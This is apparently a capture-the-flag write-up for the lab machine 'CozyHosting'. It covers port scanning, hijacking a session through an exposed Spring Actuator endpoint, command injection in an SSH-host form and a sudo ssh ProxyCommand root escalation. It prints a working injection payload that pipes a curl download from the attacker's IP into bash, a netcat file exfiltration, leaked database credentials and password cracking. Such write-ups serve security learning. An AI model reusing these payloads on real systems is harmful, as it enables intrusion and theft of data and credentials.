CozyHosting

Recon

nmap_scan.log
.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog         :
: https://github.com/RustScan/RustScan :
 --------------------------------------
RustScan: allowing you to send UDP packets into the void 1200x faster than NMAP

[~] The config file is expected to be at "/home/rustscan/.rustscan.toml"
[~] Automatically increasing ulimit value to 5000.
Open 10.129.229.88:22
Open 10.129.229.88:80
[~] Starting Script(s)
[>] Running script "nmap -vvv -p {{port}} {{ip}} -vvv -sV -sC -Pn" on ip 10.129.229.88
Depending on the complexity of the script, results may take some time to appear.
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
[~] Starting Nmap 7.95 ( https://nmap.org ) at 2024-11-24 15:39 UTC
NSE: Loaded 157 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 15:39
Completed NSE at 15:39, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 15:39
Completed NSE at 15:39, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 15:39
Completed NSE at 15:39, 0.00s elapsed
Initiating Parallel DNS resolution of 1 host. at 15:39
Completed Parallel DNS resolution of 1 host. at 15:39, 0.04s elapsed
DNS resolution of 1 IPs took 0.04s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating Connect Scan at 15:39
Scanning 10.129.229.88 [2 ports]
Discovered open port 22/tcp on 10.129.229.88
Discovered open port 80/tcp on 10.129.229.88
Completed Connect Scan at 15:39, 0.08s elapsed (2 total ports)
Initiating Service scan at 15:39
Scanning 2 services on 10.129.229.88
Completed Service scan at 15:39, 6.16s elapsed (2 services on 1 host)
NSE: Script scanning 10.129.229.88.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 15:39
Completed NSE at 15:39, 3.26s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 15:39
Completed NSE at 15:39, 0.33s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 15:39
Completed NSE at 15:39, 0.00s elapsed
Nmap scan report for 10.129.229.88
Host is up, received user-set (0.076s latency).
Scanned at 2024-11-24 15:39:08 UTC for 11s

PORT   STATE SERVICE REASON  VERSION
22/tcp open  ssh     syn-ack OpenSSH 8.9p1 Ubuntu 3ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 43:56:bc:a7:f2:ec:46:dd:c1:0f:83:30:4c:2c:aa:a8 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBEpNwlByWMKMm7ZgDWRW+WZ9uHc/0Ehct692T5VBBGaWhA71L+yFgM/SqhtUoy0bO8otHbpy3bPBFtmjqQPsbC8=
|   256 6f:7a:6c:3f:a6:8d:e2:75:95:d4:7b:71:ac:4f:7e:42 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIHVzF8iMVIHgp9xMX9qxvbaoXVg1xkGLo61jXuUAYq5q
80/tcp open  http    syn-ack nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Did not follow redirect to http://cozyhosting.htb
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 15:39
Completed NSE at 15:39, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 15:39
Completed NSE at 15:39, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 15:39
Completed NSE at 15:39, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.32 seconds

HTTP (80)

Standard landing page, with login

Writeup.png

From the error the backend should be Spring Boot Framework, Java

Writeup-1.png
└─$ feroxbuster -u 'http://cozyhosting.htb/' -w /usr/share/seclists/Discovery/Web-Content/common.txt
──────────────────────────────────────────────────
404      GET        1l        2w        -c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200      GET       38l      135w     8621c http://cozyhosting.htb/assets/img/logo.png
200      GET       43l      241w    19406c http://cozyhosting.htb/assets/img/pricing-business.png
200      GET       29l      174w    14774c http://cozyhosting.htb/assets/img/pricing-ultimate.png
200      GET       38l      135w     8621c http://cozyhosting.htb/assets/img/favicon.png
200      GET       81l      517w    40968c http://cozyhosting.htb/assets/img/hero-img.png
200      GET       29l      131w    11970c http://cozyhosting.htb/assets/img/pricing-free.png
200      GET      295l      641w     6890c http://cozyhosting.htb/assets/js/main.js
200      GET        1l      313w    14690c http://cozyhosting.htb/assets/vendor/aos/aos.js
200      GET       97l      196w     4431c http://cozyhosting.htb/login
200      GET       73l      470w    37464c http://cozyhosting.htb/assets/img/values-1.png
200      GET        1l      625w    55880c http://cozyhosting.htb/assets/vendor/glightbox/js/glightbox.min.js
200      GET       34l      172w    14934c http://cozyhosting.htb/assets/img/pricing-starter.png
200      GET       79l      519w    40905c http://cozyhosting.htb/assets/img/values-2.png
200      GET        1l      218w    26053c http://cozyhosting.htb/assets/vendor/aos/aos.css
200      GET       83l      453w    36234c http://cozyhosting.htb/assets/img/values-3.png
200      GET     2397l     4846w    42231c http://cozyhosting.htb/assets/css/style.css
200      GET        7l     1222w    80420c http://cozyhosting.htb/assets/vendor/bootstrap/js/bootstrap.bundle.min.js
200      GET     2018l    10020w    95609c http://cozyhosting.htb/assets/vendor/bootstrap-icons/bootstrap-icons.css
200      GET        7l     2189w   194901c http://cozyhosting.htb/assets/vendor/bootstrap/css/bootstrap.min.css
200      GET       14l     1684w   143706c http://cozyhosting.htb/assets/vendor/swiper/swiper-bundle.min.js
200      GET      285l      745w    12706c http://cozyhosting.htb/
401      GET        1l        1w       97c http://cozyhosting.htb/admin
500      GET        1l        1w       73c http://cozyhosting.htb/error
200      GET      285l      745w    12706c http://cozyhosting.htb/index
204      GET        0l        0w        0c http://cozyhosting.htb/logout
[####################] - 23s     4763/4763    0s      found:26      errors:0
[####################] - 22s     4728/4728    211/s   http://cozyhosting.htb/

Spring Actuator is debugging tool implemented in Spring Boot, which shouldn't be used in prod.https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/spring-actuators

http://cozyhosting.htb/actuator/env - validate that endpoint exists. Not useful information, but endpoint existing means exploit vector exists too.

└─$ curl http://cozyhosting.htb/actuator/mappings -s | jq '.contexts.application.mappings.dispatcherServlets.dispatcherServlet[].predicate'
"{GET [/actuator/env/{toMatch}], produces [application/vnd.spring-boot.actuator.v3+json || application/vnd.spring-boot.actuator.v2+json || application/json]}"
"{GET [/actuator/env], produces [application/vnd.spring-boot.actuator.v3+json || application/vnd.spring-boot.actuator.v2+json || application/json]}"
"{GET [/actuator], produces [application/vnd.spring-boot.actuator.v3+json || application/vnd.spring-boot.actuator.v2+json || application/json]}"
"{GET [/actuator/beans], produces [application/vnd.spring-boot.actuator.v3+json || application/vnd.spring-boot.actuator.v2+json || application/json]}"
"{GET [/actuator/mappings], produces [application/vnd.spring-boot.actuator.v3+json || application/vnd.spring-boot.actuator.v2+json || application/json]}"
"{GET [/actuator/health/**], produces [application/vnd.spring-boot.actuator.v3+json || application/vnd.spring-boot.actuator.v2+json || application/json]}"
"{GET [/actuator/health], produces [application/vnd.spring-boot.actuator.v3+json || application/vnd.spring-boot.actuator.v2+json || application/json]}"
"{GET [/actuator/sessions], produces [application/vnd.spring-boot.actuator.v3+json || application/vnd.spring-boot.actuator.v2+json || application/json]}"
"{ [/error], produces [text/html]}"
"{POST [/executessh]}"
"{ [/error]}"
"/admin"
"/addhost"
"/index"
"/login"
"/webjars/**"
"/**"

sessions is unusual endpoint

└─$ curl http://cozyhosting.htb/actuator/sessions -s | jq
{
  "8EE773FBF5B5DF2599C64F9D3A041B24": "kanderson",
  "9EA5C959E316A20A75099C5FA20441E3": "UNAUTHORIZED"
}

Looks like we can login with the cookies. We already have JSESSIONID cookie (second one is us), modify it with kanderson cookie and go to /admin

Writeup-2.png

Command injection is successful inside the Username, username can't contain whitespaces and hostname should be valid?

Writeup-3.png

There's a weird command injection tho, curl IP|bash didn't work, but sh worked without reverse shell...

Writeup-4.png

LFI is possible (partially)

Writeup-5.png

We can also leak the command with more semicolons.

host=x&username=;;{curl,-h};

Location: http://cozyhosting.htb/admin?error=/bin/bash: -c: line 1: syntax error near unexpected token `;;'/bin/bash: -c: line 1: `ssh -o ConnectTimeout=1 ;;{curl,-h};@x'

Revshell was possible with this type of chain:

host=x&username=;curl${IFS}10.10.14.42/rev|bash;

Download the server jar file

└─$ listen > cloudhosting-0.0.1.jar
---
$ busybox nc 10.10.14.42 4444 < /app/cloudhosting-0.0.1.jar

Use jd-gui to decompile the jar file.

Writeup-6.png
spring.datasource.url=jdbc:postgresql://localhost:5432/cozyhosting  
spring.datasource.username=postgres  
spring.datasource.password=Vg&nvzAQ7XxR
PGPASSWORD='Vg&nvzAQ7XxR' psql -U postgres -h localhost -p 5432 -d cozyhosting -c '\dt'

$ PGPASSWORD='Vg&nvzAQ7XxR' psql -U postgres -h localhost -p 5432 -c '\l'
                                   List of databases
    Name     |  Owner   | Encoding |   Collate   |    Ctype    |   Access privileges
-------------+----------+----------+-------------+-------------+-----------------------
 cozyhosting | postgres | UTF8     | en_US.UTF-8 | en_US.UTF-8 |
 postgres    | postgres | UTF8     | en_US.UTF-8 | en_US.UTF-8 |
 template0   | postgres | UTF8     | en_US.UTF-8 | en_US.UTF-8 | =c/postgres          +
             |          |          |             |             | postgres=CTc/postgres
 template1   | postgres | UTF8     | en_US.UTF-8 | en_US.UTF-8 | =c/postgres          +
             |          |          |             |             | postgres=CTc/postgres

$ PGPASSWORD='Vg&nvzAQ7XxR' psql -U postgres -h localhost -p 5432 -d cozyhosting -c '\dt'
         List of relations
 Schema | Name  | Type  |  Owner
--------+-------+-------+----------
 public | hosts | table | postgres
 public | users | table | postgres

$ PGPASSWORD='Vg&nvzAQ7XxR' psql -U postgres -h localhost -p 5432 -d cozyhosting -c 'SELECT * FROM users;'
   name    |                           password                           | role
-----------+--------------------------------------------------------------+-------
 kanderson | $2a$10$E/Vcd9ecflmPudWeLSEIv.cvK6QjxjWlWXpij1NVNV3Mm6eH58zim | User
 admin     | $2a$10$SpKYdHLB0FOaT7n3x72wtuS0yR8uqqbNNpIPjUb2MZib3H9kVO8dm | Admin

Crack the password for admin

➜ .\john-1.9.0-jumbo-1-win64\run\john.exe --wordlist=.\rockyou.txt .\hashes
Warning: detected hash type "bcrypt", but the string is also recognized as "bcrypt-opencl"
Use the "--format=bcrypt-opencl" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 1024 for all loaded hashes
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
manchesterunited (?)
1g 0:00:00:23 DONE (2024-11-24 20:39) 0.04219g/s 118.4p/s 118.4c/s 118.4C/s onlyme..keyboard
Use the "--show" option to display all of the cracked passwords reliably
Session completed

SSH (22)

Josh is the only user on box, so he's probably admin. SSH is successful.

Creds: josh:manchesterunited

└─$ sshpass -p 'manchesterunited' ssh josh@cozyhosting.htb
josh@cozyhosting:~$ id
uid=1003(josh) gid=1003(josh) groups=1003(josh)

User.txt

josh@cozyhosting:~$ cat user.txt
92f667a3c4b19fd327f7c82bbba9755b

Privilege Escalation

josh@cozyhosting:~$ sudo -l
Matching Defaults entries for josh on localhost:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User josh may run the following commands on localhost:
    (root) /usr/bin/ssh *

https://gtfobins.github.io/gtfobins/ssh/

josh@cozyhosting:~$ sudo ssh -o ProxyCommand=';sh 0<&2 1>&2' x
# id
uid=0(root) gid=0(root) groups=0(root)

Root.txt

# cd
# cat root.txt
b1dcd5867d771d9f5042edb0fd04a4d9

Last updated